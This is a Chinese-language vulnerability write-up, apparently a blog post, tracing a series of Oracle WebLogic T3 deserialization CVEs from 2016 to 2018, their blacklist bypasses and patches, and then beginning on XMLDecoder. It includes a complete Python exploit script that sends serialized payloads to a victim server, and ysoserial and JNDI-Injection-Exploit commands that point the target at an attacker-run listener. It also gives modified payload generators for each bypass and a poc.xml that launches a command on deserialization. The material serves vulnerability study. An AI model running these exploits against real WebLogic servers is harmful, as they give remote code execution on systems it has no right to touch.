if (var1 == null) {
this.hash = 13;
} else {
// 创建一个ByteArrayOutputStream对象var2
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
// 并将其作为参数传递给MarshalledObjectOutputStream类的构造函数,创建一个MarshalledObjectOutputStream对象var3
MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);
// 将传入的Java对象通过var3.writeObject方法序列化为字节流,并通过var3.flush方法刷新输出流
var3.writeObject(var1);
var3.flush();
// 通过var2.toByteArray方法获取字节流的字节数组,并将该字节数组赋值给objBytes属性
// 重点在这里,目标payload的字节流存放在这当中
this.objBytes = var2.toByteArray();
int var4 = 0;

// 计算字节数组的哈希值,并将哈希值赋值给hash属性
for(int var5 = 0; var5 < this.objBytes.length; ++var5) {
var4 = 31 * var4 + this.objBytes[var5];
}

this.hash = var4;
}
}

最终恶意的payload存放在MarshalledObject对象的objBytes属性中

如何对objBytes读取并调用readObject呢?
在MarshalledObject类中存在一个方法readResolve,它能够将属性objBytes的字节流反序列化成Java对象

1
2
3
4
5
6
7
8
9
10
11
12
13
public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {
if (this.objBytes == null) {
return null;
} else {
// 创建一个ByteArrayInputStream对象var1,并将objBytes属性作为参数传递给它
ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);
// 创建一个ObjectInputStream对象var2,该对象可以将字节流反序列化为Java对象
ObjectInputStream var2 = new ObjectInputStream(var1);
Object var3 = var2.readObject();
var2.close();
return var3;
}
}

那么readResolve方法在什么时候调用?
继续在InboundMsgAbbrev.class的resolveClass方法和MarshalledObject的readResolve方法下断点,使用weblogic_cmd执行一次

这里的类名是MarshalledObject,不在黑名单中,故可以绕过isBlackListed方法的判断
继续执行,到下一个断点,执行到MarshalledObject的readResolve方法的调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
readResolve:56, MarshalledObject (weblogic.corba.utils)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadResolve:1091, ObjectStreamClass (java.io)
readOrdinaryObject:1805, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

这与上面的resolveClass、readExternal方法一样,都是在执行readObject方法的底层执行

最后会调用恶意对象的readObject方法,执行CC1链
总结
在Java中,当一个对象被序列化时,会将对象的类型信息和对象的数据一起写入流中。当流被反序列化时,Java会根据类型信息创建对象,并将对象的数据从流中读取出来,然后调用对象中的readObject方法将数据还原到对象中,最终返回一个Java对象。在Weblogic中,当从流量中获取到普通类序列化数据的类对象后,程序会依次尝试调用类对象中的readObject、readResolve、readExternal等方法,以恢复对象的状态。

readObject方法是Java中的一个成员方法,用于从流中读取对象的数据,并将其还原到对象中。该方法可以被对象重写,以实现自定义的反序列化逻辑。

readResolve方法是Java中的一个成员方法,用于在反序列化后恢复对象的状态。当对象被反序列化后,Java会检查对象中是否存在readResolve方法,如果存在,则会调用该方法恢复对象的状态。

readExternal方法是Java中的一个成员方法,用于从流中读取对象的数据,并将其还原到对象中。该方法通常被用于实现Java标准库中的可序列化接口Externalizable,以实现自定义的序列化逻辑。
修复
2016年10月发布的p23743997_1036_Generic补丁
在weblogic.corba.utils.MarshalledObject的readResolve方法中创建一个匿名内部类,重写resolveClass方法,加上了黑名单过滤,使用网上的一张图

参考
Java安全之Weblogic 2016-3510 分析 - nice_0e3 - 博客园 (cnblogs.com)

CVE-2017-3248

漏洞复现

1
2
3
4
5
6
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/cve-2017-3248'
python cve-2017-3248.py 127.0.0.1 7001 ysoserial-all.jar 127.0.0.1 9999 JRMPClient

#在docker中执行
/java/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/cve-2017-3248'
python cve-2017-3248.py 127.0.0.1 7001 ysoserial-all.jar 127.0.0.1 9999 JRMPClient


最终命令执行成功,在/tmp目录下新建了cve-2017-3248文件
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
data = sock.recv(1024)
print(data)
print('handshake successful')


def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')


if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()

dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

payloads.JRMPClient中payload的构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Registry getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}

漏洞分析
首先分析的是输入流中的类能否绕过resolveClass中的过滤,经过断点调试及ysoserial中payload的生成,最终输出流中包装的类java.rmi.server.RemoteObjectInvocationHandler不在黑名单中,故这种方式可绕过resolveClass的过滤
在命令最终执行得地方下断点,利用得CC1链,即在InvokerTransformer类的transform方法上下断点
函数调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
transform:119, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy74 (com.sun.proxy)
readObject:346, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
defaultReadFields:1989, ObjectInputStream (java.io)
readSerialData:1913, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
executeCall:243, StreamRemoteCall (sun.rmi.transport)
invoke:377, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:360, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:303, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:139, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:491, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
defaultReadFields:1989, ObjectInputStream (java.io)
readSerialData:1913, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

进入到InboundMsgAbbrev的readObject方法,这里对weblogic T3协议传过来的数据进行反序列化操作

ServerChannelInputStream继承ObjectInputStream,继续往上查看调用readObject的地方,中间可以忽略ObjectInputStream readObject方法的底层执行,来到RemoteObject的readObject方法

如果对ysoserial的JRMP模块进行分析过,就能够清楚了解后面的这条链
详细参考:https://xz.aliyun.com/t/12780
大致流程
从最开始到现在的漏洞,需要明白恶意的payload都是寄托在T3协议之上的,将恶意的payload通过T3协议发送给weblogic服务器,weblogic服务器会对其进行反序列化,但是在InboundMsgAbbrev的resolveClass方法中,会对payload中的类进行过滤,只要绕过了黑名单,恶意的payload就会反序列化导致命令执行
使用exploit.JRMPListener开启9999端口远程对象调用服务,对应的是CC1链构造的恶意payload1
使用python脚本与weblogic服务通信,发送由payloads.JRMPClient生成的payload2,payload2在weblogic反序列化后会与JRMPListener的9999端口请求,得到恶意的payload2后,反序列化后会导致命令的执行
修复
官方给出了p24667634_1036_Generic补丁,修复点还是添加黑名单
在InboundMsgAbbrev.ServerChannelInputStream中,对java.rmi.registry.Registry进行过滤

1
2
3
4
5
6
7
8
9
10
11
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}

参考
Java 安全之Weblogic 2017-3248分析 - nice_0e3 - 博客园 (cnblogs.com)
CVE-2017-3248——WebLogic反序列化初探-安全客 - 安全资讯平台 (anquanke.com)

CVE-2018-2628

可以看到在cve-2017-3248中的补丁中,在resolveProxyClass方法中对java.rmi.registry.Registry进行了过滤。
在readObject底层操作中,存在两条路,一条是resolveClass,另一条是resolveProxyClass。当反序列化的是动态代理对象,就会走到resolveProxyClass方法中,如果取消Proxy的包装,就能够绕过resolveProxyClass方法
绕过分析
两种利用方式
第一:去除Proxy,修改payloads.JRMPClient生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Registry getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
// 删除下面
// RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
// Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
// Registry.class
// }, obj);
// return proxy;
// 直接返回UnicastRef对象
return ref;
}

修改后打成jar包,然后按照cve-2017-3248的步骤即可利用
第二:使用java.rmi.activation.Activator远程接口
还是修改payloads.JRMPClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Registry getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}

修复
2018年发布的p27395085_1036_Generic
其补丁对sun.rmi.server.UnicastRef进行了过滤,具体位置在weblogic.utils.io.oif.WebLogicFilterConfig

1
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

CVE-2018-2893

由于在CVE-2018-2628的补丁后,对sun.rmi.server.UnicastRef进行了过滤,所以这里的绕过方式就是CVE-2016-0638与CVE-2017-3248的结合
修改payloads.JRMPClient
由于JDK中不存在StreamMessageImpl类,所以需要导入weblogic中的类

1
import weblogic.jms.common.StreamMessageImpl;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID objID = new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);

return streamMessageImpl(Serializer.serialize(object));
// or
// StreamMessageImpl streamMessage = new StreamMessageImpl();
// byte[] serialize = Serializer.serialize(object);
// streamMessage.setDataBuffer(serialize,serialize.length);
// return streamMessage;
}

修复
18年7月的p27919965_1036_Generic补丁

1
2
3
4
5
6
7
8
9
10
11
private static final String[] DEFAULT_BLACKLIST_PACKAGES = 
{ "org.apache.commons.collections.functors",
"com.sun.org.apache.xalan.internal.xsltc.trax",
"javassist", "java.rmi.activation",
"sun.rmi.server" };

private static final String[] DEFAULT_BLACKLIST_CLASSES =
{ "org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject",
"java.rmi.server.RemoteObjectInvocationHandler" };

java.rmi.activation.*sun.rmi.server.*java.rmi.server.RemoteObjectInvocationHandlerjava.rmi.server.UnicastRemoteObject进行了过滤

CVE-2018-3245

这里过滤了RemoteObjectInvocationHandler和UnicastRemoteObject,需要重新找到一个替代类,但是总体的思想没有变
观察CVE-2017-3248中的函数调用栈,会调用RemoteObject的readObject方法,所以这里只需要找到继承java.rmi.server.RemoteObject的类就行
查看RemoteObject的子类:

可利用的类:

1
2
3
4
5
6
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
sun.management.jmxremote.SingleEntryRegistry

继续修改payloads.JRMPClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID objID = new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
return stub;
}

修复
2018年8月发布的p28343311_1036_201808Generic补丁
它将java.rmi.server.RemoteObject加入到黑名单,使用网上一张图

CVE-2018-3191

这个漏洞是T3+JNDI
漏洞复现
直接下载这个利用工具https://github.com/m00zh33/CVE-2018-3191
然后配合JNDI利用工具https://github.com/welk1n/JNDI-Injection-Exploit
python脚本依然使用cve-2017-3248的脚本,修改一些参数即可

1
2
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/cve-2018-3191" -A "192.168.155.90"
python cve-2018-3191.py 127.0.0.1 7001 weblogic-spring-jndi-10.3.6.0.jar rmi://192.168.155.90:1099/ushw72


漏洞分析
在JndiTemplate类的lookup处下断点,开启调试
函数调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

前面这些步骤不需要管,这条链就4个步骤
观察initUserTransactionAndTransactionManager方法,userTransactionName是我们设置的rmi地址

最后通过lookup函数查询rmi

根据以上分析,也可以通过修改ysoserial来获得payload

1
2
3
4
5
6
7
8
public Object getObject(String command) throws Exception {
// if(command == null) {
// command = "rmi://localhost:1099/Exploit";
// }
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(command);
return jtaTransactionManager;
}

修复
2018年8月发布p28343311_1036_Generic补丁,它将JtaTransactionManager的父类AbstractPlatformTransactionManager加入到了黑名单
复制网上一张图

参考

weblogic古老漏洞梳理 | r2’s blog (gitee.io)
修复weblogic的JAVA反序列化漏洞的多种方法 | WooYun知识库 (xmd5.com)
从防护角度看Weblogic反序列化历史漏洞 - FreeBuf网络安全行业门户
weblogic漏洞大杂烩

基于XML

前置知识

XMLDecoder
官方文档解释

The XMLDecoder class is used to read XML documents created using the XMLEncoder and is used just like the ObjectInputStream.

package: java.beans
example:

1
2
3
4
5
XMLDecoder d = new XMLDecoder(
new BufferedInputStream(
new FileInputStream("Test.xml")));
Object result = d.readObject();
d.close();

Constructor and Method:

1
2
3
4
5
6
7
8
9
10
XMLDecoder(InputSource is)
//Creates a new decoder to parse XML archives created by the XMLEncoder class.

XMLDecoder(InputStream in)
//Creates a new input stream for reading archives created by the XMLEncoder class.
//...

Object readObject()
//Reads the next object from the underlying input stream.
//...

XMLEncoder:
官方文档解释

The XMLEncoder class is a complementary alternative to the ObjectOutputStream and can used to generate a textual representation of a JavaBean in the same way that the ObjectOutputStream can be used to create binary representation of Serializable objects.

example:

1
2
3
4
5
XMLEncoder e = new XMLEncoder(
new BufferedOutputStream(
new FileOutputStream("Test.xml")));
e.writeObject(new JButton("Hello, world"));
e.close();

Constructor and Method:

1
2
3
4
5
6
XMLEncoder(OutputStream out)
//Creates a new XML encoder to write out JavaBeans to the stream out using an XML encoding.
//...

void writeObject(Object o)
//Write an XML representation of the specified object to the output.

XMLDecoder反序列化测试

测试类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package XmlDecoder;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class XmlDecoderTest {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("C:\\code\\javacode\\java-sec\\src\\main\\java\\XmlDecoder\\poc.xml")));
Object o = xmlDecoder.readObject();
xmlDecoder.close();
}
}

测试poc.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/C</string>
</void>
<void index="2">
<string>calc</string>
</void>
</array>
<void method="start"/></void>
</java>

命令执行成功
流程分析
关键函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
public boolean scanDocument(boolean complete)
throws IOException, XNIException {

// keep dispatching "events"
fEntityManager.setEntityHandler(this);
//System.out.println(" get Document Handler in NSDocumentHandler " + fDocumentHandler );

int event = next();
do {
switch (event) {
// 7
case XMLStreamConstants.START_DOCUMENT :
//fDocumentHandler.startDocument(fEntityManager.getEntityScanner(),fEntityManager.getEntityScanner().getVersion(),fNamespaceContext,null);// not able to get
break;
// 1
case XMLStreamConstants.START_ELEMENT :
//System.out.println(" in scann element");
//fDocumentHandler.startElement(getElementQName(),fAttributes,null);
break;
// 4
case XMLStreamConstants.CHARACTERS :
fDocumentHandler.characters(getCharacterData(),null);
break;
case XMLStreamConstants.SPACE:
//check if getCharacterData() is the right function to retrieve ignorableWhitespace information.
//System.out.println("in the space");
//fDocumentHandler.ignorableWhitespace(getCharacterData(), null);
break;
